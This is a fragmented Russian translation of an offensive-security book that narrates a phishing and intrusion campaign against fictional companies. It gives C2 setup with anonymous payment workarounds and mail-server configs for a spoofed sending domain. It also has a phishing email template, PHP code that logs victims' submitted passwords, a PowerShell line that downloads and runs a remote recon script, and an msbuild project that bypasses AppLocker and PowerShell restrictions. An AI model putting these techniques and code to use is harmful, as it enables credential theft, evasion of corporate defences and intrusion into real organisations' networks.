Академический Документы
Профессиональный Документы
Культура Документы
Занимайся хакингом
как легенда
Спарк Флоу
https://hacklikeapornstar.com
Отказ от ответственности
https://www.hacklikeapornstar.com/best-hacking-books/
Перевод
@Ianuaria
skladchik.com
Низкий старт
“Когда я стою на стартовых воротах,
есть только я и склон”
Микаэла Шиффрин
Перевод
@Ianuaria
skladchik.com
Если вы когда-либо посещали знаменитые конференции по
безопасности, будь то Black Hat, Hack in The Box или RSA, то вы,
вероятно, были свидетелями бесконечного парада спонсоров,
выставляющих напоказ свои последние “кибер” решения в том же
духе, в каком Голливуд продвигает свое летние блокбастеры:
огромные постеры на станциях метро, модели у стендов компаний,
гламурные ночные тусовки и званые вечера с шампанским…
1
Некоторые вендоры даже заходят настолько далеко, что упоминают определенные
инструменты безопасности в своих безрассудных маркетинговых трюках.
Перевод
@Ianuaria
skladchik.com
обфусцированную PowerShell-команду2 или исполняемый модуль
Meterpreter, сгенерированный на типовой машине с Kali.
2
Например, что-либо наподобие “Powershell -enc JABiAHIAbwB3AHMAZQByAC[...]”
3
https://github.com/samratashok/nishang
4
По правде говоря, я не буду конкретно называть компании в этой книге, но всякий раз, когда
вы слышите слова “EDR” (Endpoint Detection & Response), “Next-Gen” что-то там, “глубокий
анализ” и прочие понтовые слова, то относитесь к ним очень скептически.
Перевод
@Ianuaria
skladchik.com
вендорам, желающим откусить долю от рынка, приходится
пересматривать свои маркетинговые технологии - отсюда и
изобретение новых модных “кибер-” слов практически каждую
неделю.
Перевод
@Ianuaria
skladchik.com
инъекция в процесс и т.д.), они позволяют ему следовать своему
курсу, но втихую создают предупреждение и ожидают, пока
оператор не ударит по кнопке тревоги.
Перевод
@Ianuaria
skladchik.com
щедро спонсируют все крупномасштабные конференции, от Black
Hat до RSA.5
5
Спасибо за футболки.
6
http://cryto.net/~joepie91/bitcoinvps.htmlили
https://acceptbitcoin.cash/#hosting
Перевод
@Ianuaria
skladchik.com
Я пропускаю подробности использования Bitcoin и Zcash в
целях достижения приемлемого уровня псевдо-анонимности,
поскольку это является отдельной темой и всесторонне
обсуждается во множестве онлайн-статей (к примеру,
https://cryptorials.io/how-to-use-bitcoin-anonymously/).
Перевод
@Ianuaria
skladchik.com
можем пойти на риск атаки с одного IP-адреса на Банк_А и
Страховой_компании_Б.7
7
Это особенно касается действий, происходящих в параллельных временных интервалах.
Хотя взлом компании может занять несколько дней, может понадобиться несколько месяцев,
чтобы установить местонахождение и парсинг данных, за которыми мы по-настоящему пришли,
так что взлом многочисленных целей одновременно не является распространенным явлением.
8
https://www.tenable.com/blog/identifying-empire-http-listenersи
https://www.harmj0y.net/blog/empire/empire-fails/
Перевод
@Ianuaria
skladchik.com
Несмотря на все свои изобретательные трюки и хвастовство
по поводу навыков в области безопасности, лишь немногие хакеры
уделяют время на то, чтобы как следует запереть свои
командно-контрольные (C2) сервера. Истории об уязвимостях в
популярных инструментах удаленного доступа:
1. http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-explo
iting-malware
2. https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digit
al-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits-wp.pdf
9
https://github.com/robertdavidgraham/masscan
Перевод
@Ianuaria
skladchik.com
Поэтому, в свете этого нового правила, когда мы
пересматриваем нашу предыдущую архитектуру, то сразу же
понимаем, что необходимо разделить бэкенд-сервера в
соответствии с выполняемыми ими функциями и добавить
определенное количество публичных ретрансляторов -
предпочтительно, чтобы они хостились у другого
сервис-провайдера (я убрал элементы, относящиеся к анонимности,
для упрощения схемы):
Перевод
@Ianuaria
skladchik.com
Раз речь зашла о прослушивателях, помните, что мы можем и
должны кастомизировать каждый инстанс настолько детально,
насколько это возможно, чтобы избежать простых ловушек,
заложенных алгоритмами сопоставления сигнатур:
11
Команда screen может быть достаточно полезной для возобновления сеанса Empire после
завершения SSH-соединения: https://www.howtoforge.com/linux_screen
12
Используете скрипт cert.sh, находящийся в Empire/setup для генерации нового сертификата
по желанию.
Перевод
@Ianuaria
skladchik.com
В соответствии с этой конфигурацией, агенты, привязанные к
этому прослушивателю, будут запрашивать C2-команды, используя
HTTPS-протокол13, с запросами типа:
GET /search?q=finance&oq=finance&aqs=chrome..69i57j69i6.309j0j
или
GET /search?q=news&oq=news&aqs=chrome..69i57j69i6.309j0j
13
Empire генерирует PowerShell-агент, который игнорирует ошибки, возникающие при
использовании самоподписанного сертификата. Это хорошо, так как даже если мы решим
сгенерировать валидный сертификат для одного домена, он неизбежно станет невалидным,
если нам вздумается воспользоваться другим доменом. Понятно, что включение всех наших
доменных имен C2 в один SSL-сертификат - это не вариант, поскольку любой человек сможет
получить этот сертификат и таким образом раскроет все наши доменные имена.
14
К сожалению, SSL сам по себе не гарантирует тотальную безнаказанность. Некоторые
компании выполняют перехват SSL и следовательно, могут дешифровать трафик на лету.
Перевод
@Ianuaria
skladchik.com
отличную возможность для так называемого “обратного
перенаправления портов”.
GatewayPorts yes
Перевод
@Ianuaria
skladchik.com
Повторяем тоже самое для фишингового редиректора, за
исключением, на этот раз, того, что вместо прослушивателя Empire
у нас будет сервер Apache, отдающий веб-сайт, который будет
выглядеть легитимным (подробнее об этом позже).
Перевод
@Ianuaria
skladchik.com
Имена доменов, однако, можно выбирать. Мы разберемся с
этим конкретным шагом в отдельной главе, поскольку ему нужно
уделить особое внимание.
15
Альтернативные сетапы и подробные описания отказоустойчивой хакерской (или Red team)
инфраструктуры:
https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
Перевод
@Ianuaria
skladchik.com
Был простой обходной путь этого ограничения за счет
использования предоплаченных виртуальных карт. Сервисы типа
Cryptopay, Bitwala и Wirex, к примеру, позволяли людям заказывать
виртуальные карты VISA, оплаченные за биткоины, без проведения
проверок личности (обычно сумма издержек составляла до $1000).
Перевод
@Ianuaria
skladchik.com
По всей видимости, лучшее, что мы можем сделать сейчас,
это внимательно следить за данным вопросом и надеяться, что
бизнес виртуальных карт сумеет найти способ перезапуска своих
сервисов.
****
Точно, фишинг!
Перевод
@Ianuaria
skladchik.com
Однажды я попросил людей назвать компании, которые были
взломаны без помощи имейл-мошенничества, в той или иной его
форме, однако со времен взлома Equifax16, эпидемии WannaCry17 и
фиаско NotPetya18 - в каждом из этих случаев имели место
недостаток пропатченности и дефектная сегментация сети - я
стараюсь воздерживаться от подобного прямого вопроса.
16
https://blogs.apache.org/foundation/entry/media-alert-the-apache-software
17
https://en.wikipedia.org/wiki/WannaCry_ransomware_attack
18
https://www.csoonline.com/article/3233210/ransomware/petya-ransomware-and-notpetya-malware-w
hat-you-need-to-know-now.html
Перевод
@Ianuaria
skladchik.com
Мы всегда можем воспользоваться этим предлогом для своего
фишингового электронного письма. Например, новый IT-сервис,
развернутый в Сингапуре, IT-проблемы, связанные с новыми
офисами, задержка в email-сервисах и так далее.
Перевод
@Ianuaria
skladchik.com
**Примечание по госструктурам и фишингу**
****
...Ладно.
19
https://hakshop.com/products/usb-rubber-ducky-deluxe
20
Кстати говоря, зацените этот замечательный проект, описывающий запуск кастомных
пейлоадов через Wi-Fi путем клавиатурных инъекций при помощи кастомной USB-флешки:
https://github.com/whid-injector/WHID
Перевод
@Ianuaria
skladchik.com
по-прежнему работает, в некоторой степени. Однако, спорить о том,
что это простой и надежный метод, не имеет смысла или пользы.
Напоминание
21
Кто-то может поспорить, что несмотря на значительно небольшую цель и слабые шансы,
стоит пойти фишинговым путем. В конце концов, нам нужен всего один доверчивый
пользователь, чтобы попасть внутрь. Однако, поверьте - у меня для вас припасено кое-что
более интересное.
22
https://centralops.net/, https://www.domaintools.com/или команда whois на Linux-машине.
Перевод
@Ianuaria
skladchik.com
Даже не будем пытаться найти у него уязвимости. Нам нужно
проникнуть в сеть компании, а не в сеть ее хостинг-провайдера.
Хотя
Censys и является великолепным инструментом для
обнаружения более сложных и нетипичных поддоменов (например,
mytaxadvice.gs-corp.com), которые скорее всего будут упущены
традиционными инструментами перебора типа DNS Recon23, всегда
23
Да, DNS-Recon также ищет поля CNAME и MX, разведывает поддомены через Google и Bing,
но наиболее мощной и полноценной возможностью DNS-Recon определенно являются
брутфорс-атаки.
Перевод
@Ianuaria
skladchik.com
лучшей практикой будет воспользоваться преимуществами обоих
этих инструментов (censys и dns-recon), чтобы получить наиболее
точное представление, какое только возможно.
● mytaxadvice.gs-corp.com
● career.gs-corp.com
● mail.gs-corp.com
● owa.gs-corp.com
● www.gs-corp.com
● gstrust-foundation.org
Перевод
@Ianuaria
skladchik.com
Некоторые из этих сайтов могут хоститься сторонними
компаниями, а некоторые самой G&S Trust, поэтому как и ранее, мы
изучаем владельцев сетей, чтобы прояснить физическое
местоположение активов.
24
OWA - Outlook Web Application
Перевод
@Ianuaria
skladchik.com
Мы пробуем поиграться с интерфейсом веб-почты, пытаясь
найти скрытые директории, внедряя специальные символы то тут,
то там - в общем-то, мы пробуем все классические веб-техники, но
кого мы пытаемся обмануть? Если только мы не раскопаем 0-day
для официального Outlook Web App 2016, мы не сможем зайти
внутрь.25
25
Мы могли бы попробовать брутфорс-атаку, но я не большой фанат этого дела, по крайней
мере, без какой-либо гарантии, что это не приведет в действие массовую блокировку учетных
записей.
Перевод
@Ianuaria
skladchik.com
целом. G&S Trust - это не остров, затерянный в большом синем
море, которым является интернет.
26
Великолепная компиляция инструментов разведки на основе открытых источников (OSINT):
https://github.com/jivoi/awesome-osint
Перевод
@Ianuaria
skladchik.com
Взять хотя бы описания работы, к примеру. Мы собираем
кладезь полезных данных за счет простого поиска старых вакансий,
оставленных G&S Trust на популярном сайте по подбору кадров
(интересный список:
https://github.com/jivoi/awesome-osint#-job-search-resources).
Требуемые навыки
● Поддержка десктопов Windows 8.1 и 10 / Surface PRo
● Базовая поддержка смартфонов / планшетов
● Опыт работы с файрволами Cisco и Juniper
● Базовые знания SQL Server 2012
● Поддержка Outlook / Изменение паролей Exchange
● Поддержка аудио / видео (проекторы/микрофоны/звук)
● Поддержка Skype для бизнеса
Перевод
@Ianuaria
skladchik.com
Быстрый поиск в Google раскрывает, что навык “Strat
Accounting” (прим. переводчика: один из вариантов перевода
“accounting” - “бухгалтерский учет”), упомянутый на скриншоте
выше, относится по факту к программному продукту, который
принадлежит и поддерживается Strat Jumbo Inc., международной
компанией в сфере разработки ПО.
Перевод
@Ianuaria
skladchik.com
Наиболее вероятным сценарием, который мы только можем
представить, будет внедрение в корпоративную сеть Strat Jumbo,
установление местонахождения репозитория кода Strat Accounting,
а затем закладка бэкдора, который будет приведен в действие в
следующий раз, когда G&S Trust обновит свое бухгалтерское
программное обеспечение на рабочих станциях.
27
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html
Перевод
@Ianuaria
skladchik.com
С другой стороны, если антивирус помечает бухгалтерское
программное обеспечение, которое использовалось последние лет
десять, это вызывает всего один звонок в отдел
IT-администраторов, и антивирус либо будет отключен, либо данное
ПО будет добавлено в список исключений. Как вам такое
привилегированное отношение?..
28
А я уже упоминал про https://github.com/jivoi/awesome-osint
? Да? Ну что ж, настолько хорош
этот список!
Перевод
@Ianuaria
skladchik.com
Реальная цель подобной операции - просто посмотреть, как
выглядят их сайты, какие имена доменов они обычно используют,
расцветку шрифтов и так далее.
Привет,
C уважением,
Marjory Shindler,
Менеджер по работе с клиентами
Перевод
@Ianuaria
skladchik.com
В результате жертва “естественным” образом принуждается к
нажатию по ссылке и загрузке вложения, поскольку письмо кажется
знакомым на глубинном уровне. Оно совпадает по цвету, форме и
содержимому с бессознательными ожиданиями жертвы.
29
https://github.com/darkoperator/dnsrecon
30
https://findsubdomains.com/ - еще один интересный сайт для поиска поддоменов. За совет
спасибо @5ub34x.
Перевод
@Ianuaria
skladchik.com
Webscreenshot31 - это заслуживающий внимания инструмент
для краулинга большого количества сайтов и снятия скриншотов
главных страниц для быстрого ручного осмотра32:
31
https://github.com/maaaaz/webscreenshot
32
Вы можете также воспользоваться хедлесс-фичами Chrome и Firefox:
https://github.com/GoogleChrome/puppeteer/
Перевод
@Ianuaria
skladchik.com
подходящий шаблон письма - но перед тем, как перейти к этой
задаче, я бы хотел выделить несколько строчек и подчеркнуть пару
ключевых моментов касаемо обороны противника, которую мы
собираемся преодолеть.
Спам-фильтры
33
https://www.cloudmark.com/en/s/resources/whitepapers/reputation-based-approach-for-efficient-filtrati
on-of-spam
Перевод
@Ianuaria
skladchik.com
обеспечит им “незапятнанную репутацию”. Это крайне далеко от
того, чтобы быть правдой.
34
Пример онлайн-песочницы для тестирования пейлоадов:
https://www.hybrid-analysis.com/
Перевод
@Ianuaria
skladchik.com
обнаружения виртуального окружения и симуляции безопасного
поведения. Но знаете, что работает лучше всего?
Перевод
@Ianuaria
skladchik.com
В зависимости от законодательства, распространяющегося на
работу компании35, она не может дешифровать весь
коммуникационный поток, инициируемый ее сотрудниками.
Определенные веб-сайты (банкинг, здравоохранение, страхование
и т.д.) обычно не подвергаются перехвату SSL, чтобы защитить
право человека на приватность.
Антивирус
35
Касается большей части Европы, где сильное значение приватности защищено законами.
Ситуация может отличаться в США, Великобритании, Китае и др. странах, где разрешена
слежка.
Перевод
@Ianuaria
skladchik.com
антивирусное программное обеспечение не проверяет память36, мы
можем внедрить практически все, что угодно, включая Meterpreter,
обратную оболочку Empire и так далее. Поможет ли это нам
избежать инструментов нового поколения? Мы выясним это уже
очень скоро!
36
Забавно, что однажды я общался с инженерами из ведущей антивирусной компании по
поводу именно этой проблемы: исполнение в памяти. Я обратил внимание, что их последнее
обновление по-прежнему не решало подобную проблему. В ответ я получил злые взгляды и
агрессивное “но ведь никто так не действует!”. Это заблуждение - и в любом случае, вам
следует действовать именно так.
Перевод
@Ianuaria
skladchik.com
Достижение надежной устойчивости требует быстрых
действий (они должны быть либо встроены в stager, либо
выполнены позже), таких как: изменение ключей реестра, установка
служб, настройка WMI-событий37… короче говоря, слишком много
шумных действий для первого погружения в незнакомую, чужую
среду.
37
Мы использовали эту технику в книге “Занимайся хакингом с ловкостью Бога”, но если вам
нужны подробности, вот ссылка для ознакомления:
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instru
mentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
Перевод
@Ianuaria
skladchik.com
Как видим, нам нужна лишь валидная пара учетных данных
(имя пользователя/пароль), чтобы попасть внутрь. Фишинг и пароли
- это пара, созданная друг для друга!
Заточка крючка
38
https://github.com/Veil-Framework/Veil-Evasion
Перевод
@Ianuaria
skladchik.com
Здесь нужно найти тонкую грань. Нам нужен веб-сайт с
хорошей е-репутацией и историей, но в то же время, он должен
иметь определенное отношение к Strat Jumbo, на случай если люди
слишком внимательно присматриваются к исходному адресу
электронной почты:
Перевод
@Ianuaria
skladchik.com
Таким образом, даже если перехват SSL активен, мы сможем
попытаться обойти его, выбрав домен, принадлежащий важной
категории, которая обычно освобождена - в большинстве стран, по
закону - от перехвата (банкинг, медицинская сфера и т.д.).
39
Любопытный скрипт для автоматизации проверок категорий через несколько прокси:
https://github.com/mdsecactivebreach/Chameleon
40
Конечно, когда продавцы виртуальных карт порешают свои проблемы, мы вновь получим
роскошь выбора, если захотим работать с другим регистратором.
Перевод
@Ianuaria
skladchik.com
В панели Namecheap мы настраиваем, чтобы эти два домена
вели на один публичный IP-адрес, который будет использоваться в
качестве фишингового публичного ретранслятора:
41
http://spamassassin.apache.org/old/tests_3_2_x.html
Перевод
@Ianuaria
skladchik.com
Protonmail (сервис электронной почты) использует
SpamAssassin в комбинации с коммерческими черными списками
для отлова спама. Замечательным фактом является то, что
SpamAssassin добавляет заголовки в электронное письмо, уточняя,
какие проверки и тесты он применил, а также глобальную оценку,
выданную письму.
Перевод
@Ianuaria
skladchik.com
email-сервер на автоматическое подписывание всех
исходящих писем.
● HEADER_FROM_DIFFERENT_DOMAINS. В электронном письме
есть два различных поля “from”. Поле “SMTP FROM” и
поле “FROM”, оба которых должны указывать на
одинаковое доменное имя. Обычно это не является
проблемой, если только мы не используем email-сервис
типа MailChimp или Amazon SES.
● RCVD_IN_IVMSIPуказывает на то, что IP-адрес занесен в
черный список коммерческими спам-листами.
**Примечание**
****
Перевод
@Ianuaria
skladchik.com
доступных в интернете руководств
(https://help.ubuntu.com/community/Postfix/SPF).
myhostname = stratjumbotech.com
mynetworks = <Outgoing_IP_Phishing_Server> 127.0.0.0/8
inet_interfaces = all
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt
Перевод
@Ianuaria
skladchik.com
# Фишинговый сервер
relayhost = 52.16.162.47
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt
42
Если вы захотите удалить и внутренний IP-адрес, выполните инструкции из этого простого
руководства. Это не имеет особого значения, поскольку в любом случае мы используем
редиректор, но возможно, вам это пригодится для другого сценария:
https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/
Перевод
@Ianuaria
skladchik.com
На фишинговом сервере мы устанавливаем OpenDKIM,
опенсорсную реализацию DKIM, которая будет выполнять роль
определенного фильтра на фишинговом сервере. Она будет
перехватывать все исходящие письма postfix, подписывать тело,
затем направлять их по адресу назначения:
Domain stratjumbotech.com
KeyFile /etc/opendkim/mail.private
Selector mail
SOCKET="inet:12301@localhost"
# На фишинговом сервере ( )
/etc/postfix/main.cf
Перевод
@Ianuaria
skladchik.com
milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301
43
Очень полезный инструмент для проверки конфигурации SPF и DKIM:
https://www.mail-tester.com/spf-dkim-check
Перевод
@Ianuaria
skladchik.com
Отлично! Как показывает SpamAssassin, наша низкая оценка
указывает на то, что наш email-сервер достаточно хорошо настроен,
чтобы запустить чистую фишинговую кампанию!44
--
Hello,
As some of you probably know, our teams in Australia have been working on
an exciting new plugin for our favorite IDE.
44
Мы могли бы при желании настроить ADSP и DMARC, что подкрепило бы DKIM-подпись и
оповещало бы нас, когда кто-либо подделывает адрес почты, относящийся к нашему домену
(например, когда проверка SPF терпит неудачу), но это не слишком сильно сказывается на
оценке электронного письма.
Перевод
@Ianuaria
skladchik.com
Today we would like to share a beta version of this plugin with your offices,
so feel free to give it a spin and give us your feedback: Hero plugin
Kind regards,
Michael Han
Senior programmer
T+6102 9912 3981
--
--
Привет,
Наверное, вы уже слышали о том, что наша команда из Австралии
работает над потрясающим новым плагином для нашей любимой IDE.
Сегодня мы бы хотели представить бета-версию этого плагина для
вашего офиса, так что не стесняйтесь опробовать его в деле и
оставляйте нам свои отзывы: Плагин "Герой"
С уважением,
Майкл Хань
Старший программист
T+6102 9912 3981
--
Перевод
@Ianuaria
skladchik.com
Код для картинки в подписи выполняет большую роль, чем
простое отображение логотипа компании и убеждение
пользователей в подлинности источника письма. Он также
позволяет нам отслеживать, как много людей открыло сообщение,
поскольку каждый пользователь, просматривающий сообщение,
будет подгружать изображение с нашего фишингового сервера
(через публичный ретранслятор).
<img src="https://www.stratjumbo.co.au/static/img/logo_img.png"
alt="strat jumbo logo" />
https://www.stratjumbo.co.au/plugin-corporate-offer/?utm_term=FAgUHRNXNj06FjtM
def xor_string(data):
Перевод
@Ianuaria
skladchik.com
key ="PibtwweIOwI8S6VEbADlRHpm4w4L6"
xored = ''.join(chr(ord(x)^ord(y)) for (x,y) in izip(data, cycle(key)))
return base64.encodestring(xored).strip()
#!/usr/bin/python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from itertools import izip, cycle
import base64
import time
Перевод
@Ianuaria
skladchik.com
# Добавить имя жертвы к адресу почты
msg['To'] = target+"@stratjumbo.com"
**Примечание**
Перевод
@Ianuaria
skladchik.com
michael.han@stratjumbotech.com). Это просто, достаточно лишь
указать параметр перенаправления почты у провайдера DNS на
легитимный почтовый ящик (protonmail.com, mailfence.com, yopmail и
так далее).
****
45
Если вам нужна помощь в настройке сайта на Wordpress, следуйте этому пошаговому
руководству:
https://codex.wordpress.org/Installing_WordPress
Перевод
@Ianuaria
skladchik.com
При этом есть некоторые ключевые переменные, которые
должны оставаться совершенно неизменными, поскольку они
общаются напрямую с подсознательной частью мозга. Речь о
неизменности цветовой палитры, семействе шрифта, тоне
общения, интервале между буквами, толщине линий и логотипе
компании.
Перевод
@Ianuaria
skladchik.com
Какая IDE лучше всего подходит под ваши нужды?
От Visual Studio до Sublime Text
46
Используйте плагин insert_php, чтобы писать код в постах и на страницах Wordpress.
Перевод
@Ianuaria
skladchik.com
// Отобразить сообщение об ошибке (“Плагин станет доступен для вашего
региона через пару дней, пожалуйста, возвращайтесь через это время!”),
затем записать учетные данные в файл
echo "The plugin will be available in a couple of days in your
region, please come back soon!";
$data = $_POST['login']."\t".$_POST['password']."\n";
Перевод
@Ianuaria
skladchik.com
последующий доступ к странице, но эту маленькую потерю можно
принять.
// Если нет токена utm_term, или если он пустой, перенаправить на главную
страницу
if (!isset($_GET['utm_term'])
Перевод
@Ianuaria
skladchik.com
or empty($_GET['utm_term'])){
header('Location: /');
}
// Соединение с Mysql
$db = new
PDO('mysql:host=localhost;dbname=catalog_db3;charset=utf8mb4',
'wp_user', 'Kja98&o:Lkaz098');
// Если пользователь посещает во второй раз, показать стандартную ошибку,
наполненную незначащей информацией
} else {
Перевод
@Ianuaria
skladchik.com
Я избегаю использования перенаправлений, если только
пользователи явно не подделывают параметры. Аналитик,
просматривающий данные прокси, может в теории заспотить
несоответствие между пользователями, успешно загрузившими
страницу в первый раз (HTTP код 200) и теми же самыми
пользователями, которые не могут повторно посетить эту страницу
(HTTP код 302).
Перевод
@Ianuaria
skladchik.com
поищите в списках ранее утекших паролей email-адреса,
принадлежащие Strat Jumbo. Порой можно найти даже легитимные
пароли, которые можно повторно использовать на корпоративных
платформах.
Перевод
@Ianuaria
skladchik.com
Уже есть первое попадание! 1 из 120 - это довольно-таки
низкий показатель, но давайте подождем! Как правило, 90% всех
потенциальных хитов происходят в первые восемь часов.
Перевод
@Ianuaria
skladchik.com
Первое погружение
“Тестирование ведет к неудаче,
а неудача ведет к пониманию”
Бёрт Рутан
Перевод
@Ianuaria
skladchik.com
Всего через 24 часа после запуска фишинговой кампании мы
уже собираем 35 паролей. Это 35 пуль в нашем патронташе для
атаки на Strat Jumbo путем олицетворения некоторых их самых
важных сотрудников.
Перевод
@Ianuaria
skladchik.com
Поэтому нам нужно держать в уме, что любой сотрудник, у
которого есть доступ к коду с правами на запись, является нашей
прямой целью, неважно, кем он работает - в IT-поддержке,
тестировщиком кода, баг-хантером, программистом или, конечно,
IT-администратором, в последнем случае придется идти непрямыми
путями.
Побег из тюрьмы
Перевод
@Ianuaria
skladchik.com
Нас приветствует платформа Citrix, предлагающая запустить
только одно приложение: Firefox.
Перевод
@Ianuaria
skladchik.com
Сервер Netscaler выполняет роль балансировщика
нагрузки/обратного прокси для распределения пользовательских
соединений по многочисленным серверам Storefront. Системы
Storefront управляют доставкой приложений и рабочих столов
конечным пользователям.
Перевод
@Ianuaria
skladchik.com
Ваш системный администратор заблокировал это приложение.
За дополнительными сведениями обратитесь к своему системному
администратору.
Перевод
@Ianuaria
skladchik.com
Мы не можем записывать в эти папки, используя диалоговое
окно “Сохранить как”, поскольку на них распространяются
параметры GPO “File Explorer”, но этот простой доступ на чтение
позволяет нам просматривать жесткий диск в поиске легких целей,
типа личных папок, паролей в открытом виде, забытых файлов
конфигурации во временной папке и так далее. К нашему
сожалению, ничего полезного найти не удается.
Перевод
@Ianuaria
skladchik.com
так далее.48 Все они заблокированы, за исключением нашего
хорошего друга -
PowerShell.exe:
48
Отличный ресурс, на котором сведены воедино всевозможные техники обхода с
детализированными пейлоадами:
https://github.com/api0cradle/UltimateAppLockerByPassList
49
Доступ к диску C: для сеанса PowerShell ограничен не больше, чем это было для сеанса
Firefox, за исключением того, что в этот раз мы можем свободно записывать в папки, если это
разрешено полномочиями контроля доступа.
Перевод
@Ianuaria
skladchik.com
Мы имеем дело с последней версией (на февраль 2018 года)
Windows Server 2016, сборка 14393. Он находится в подсети
10.78.1.83/24, вероятно в DMZ, отделенной от внутренней сети.
50
https://support.microsoft.com/en-us/help/4096309
Перевод
@Ianuaria
skladchik.com
По всей видимости, Windows-домен Strat Jumbo управляется
сторонними высоко-привилегированными учетными записями. Мы
перепроверяем их по списку учетных записей, которые собрали
посредством фишинга ранее, но удача не на нашей стороне в этот
раз. Тем не менее, нам стоит отслеживать эти аккаунты, на случай
если мы когда-нибудь наткнемся на один из них.
51
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Перевод
@Ianuaria
skladchik.com
IEX($browser.DownloadString('
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master
/Recon/PowerView.ps1'));
$ExecutionContext.SessionState.LanguageMode
Перевод
@Ianuaria
skladchik.com
Таким образом, большую часть наступательных
PowerShell-скриптов на рынке можно считать практически
бесполезными ввиду этого нового параметра безопасности в
движке выполнения PowerShell под названием Windows
Management Framework, он же WMF 5.
Перевод
@Ianuaria
skladchik.com
Как вы наверное знаете, PowerShell.exe и большая часть
других сложных исполняемых файлов, если уж об этом зашла речь,
являются лишь обертками вокруг одной или нескольких DLL,
которые реализуют действительную логику программы.
Перевод
@Ianuaria
skladchik.com
создали ему репутацию некоего божества и надежного источника
информации в сообществе безопасности.
Перевод
@Ianuaria
skladchik.com
Все, что нам нужно теперь - это проект в виде XML-файла,
содержащий код для компиляции. Если все пройдет успешно,
msbuild автоматически загрузит и выполнит исполняемый файл,
таким образом обходя правила Applocker.
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>
Перевод
@Ianuaria
skladchik.com
Этими задачами могут быть встроенные операции типа MakeDir для
создания директорий, Copyдля копирования файлов и так далее.
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
</Project>
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof
t.Build.Tasks.v4.0.dll"
>
</UsingTask>
</Project>
Перевод
@Ianuaria
skladchik.com
указывает на DLL, содержащую стандартные команды для
преобразования нашего будущего кода (C#) в нативные задачи
msbuildдля их выполнения.
<Project ToolsVersion="4.0"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PSBYPASS">
<PsCommand/>
</Target>
<UsingTask
TaskName="PsCommand"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsof
t.Build.Tasks.v4.0.dll"
>
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
// Вставляем сюда C#-код!
]]>
</Code>
</Task>
</UsingTask>
</Project>
Перевод
@Ianuaria
skladchik.com
Во-первых, мы начинаем с определения публичного класса
под названием PsCommand, который наследует интерфейсы ITask и
Task, необходимые для msbuild:
Перевод
@Ianuaria
skladchik.com
Console.WriteLine("Executing PS commands");
Console.WriteLine("Executing PS commands");
Перевод
@Ianuaria
skladchik.com
// Вызов конвейера и получение выходных строк
foreach (string str in Ps_instance.Invoke<string>())
Console.WriteLine(str);
// Конец цикла
Перевод
@Ianuaria
skladchik.com
и перемещаем в нашу домашнюю папку (X:), используя старый
добрый Firefox.
Ps_instance.AddCommand("get-process");
Ps_instance.AddCommand("out-string");
Ps_instance.AddStatement();
Ps_instance.AddScript("net user");
Ps_instance.AddStatement();
Ps_instance.AddScript("ls c: | out-string");
Перевод
@Ianuaria
skladchik.com
Пойманы!
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap2/co
nsole.xml
Перевод
@Ianuaria
skladchik.com
еще раз. Мы загружаем его в память точно таким же образом, как и
ранее, только в этот раз команда проходит как положено:
**Примечание**
****
Перевод
@Ianuaria
skladchik.com
привилегии на машине. Это ненадежно, поскольку привилегии
администратора могут теряться со временем по различным
причинам, но это может помочь нам определить пользователей
домена с привилегиями локального администратора.
Перевод
@Ianuaria
skladchik.com
Наш следующий шаг - вывести список доступных общих
ресурсов, а это одни из наиболее важных ресурсов в домене,
поскольку обычно они содержат ценную информацию, начиная от
паролей и заканчивая действительными бизнес-данными.
Перевод
@Ianuaria
skladchik.com
слишком много, чтобы просматривать их все вручную; речь о
компании с почти 800 сотрудников:
Перевод
@Ianuaria
skladchik.com
Перед тем, как это сделать, однако, может быть полезно
оценить уровень безопасности в Strat Jumbo. Какая у них
обстановка: просто дерьмовая или совершенно дерьмовая?
52
https://adsecurity.org/?p=1772
Перевод
@Ianuaria
skladchik.com
К нашему огорчению, мы замечаем, что Логирование блоков
скриптов PowerShell также включено. Все наши предыдущие
команды были записаны в Диспетчер событий! Тем не менее, не
стоит тревожиться пока что. Логи редко централизованно стекаются
в одно место, не говоря уже про их мониторинг на наличие активных
вредоносных пейлоадов… Вот только по всей видимости, в Strat
Jumbo именно это и происходит!
Перевод
@Ianuaria
skladchik.com
малейшей тревоги, поднятой их навороченным инструментом
мониторинга, основанным на машинном обучении.
Перевод
@Ianuaria
skladchik.com
поведение (регулярные пакеты на одно и то же доменное имя) было
бы, вероятно, отловлено на сетевом или системном уровне.
Перевод
@Ianuaria
skladchik.com
учетных записей могут перестать работать за столь короткий
промежуток времени?
Перевод
@Ianuaria
skladchik.com
смехотворно более низкая в сравнении с другим достаточно
вероятным сценарием: получить наручники посередине ночи.
Перевод
@Ianuaria
skladchik.com
msbuild, который мы сбросили для обхода ограниченного языкового
режима. Этот элемент ясно указал бы на преступное намерение, и
как следствие произошел бы бан IP, с которого исходило
соединение - наш атакующий сервер.
***
Перевод
@Ianuaria
skladchik.com
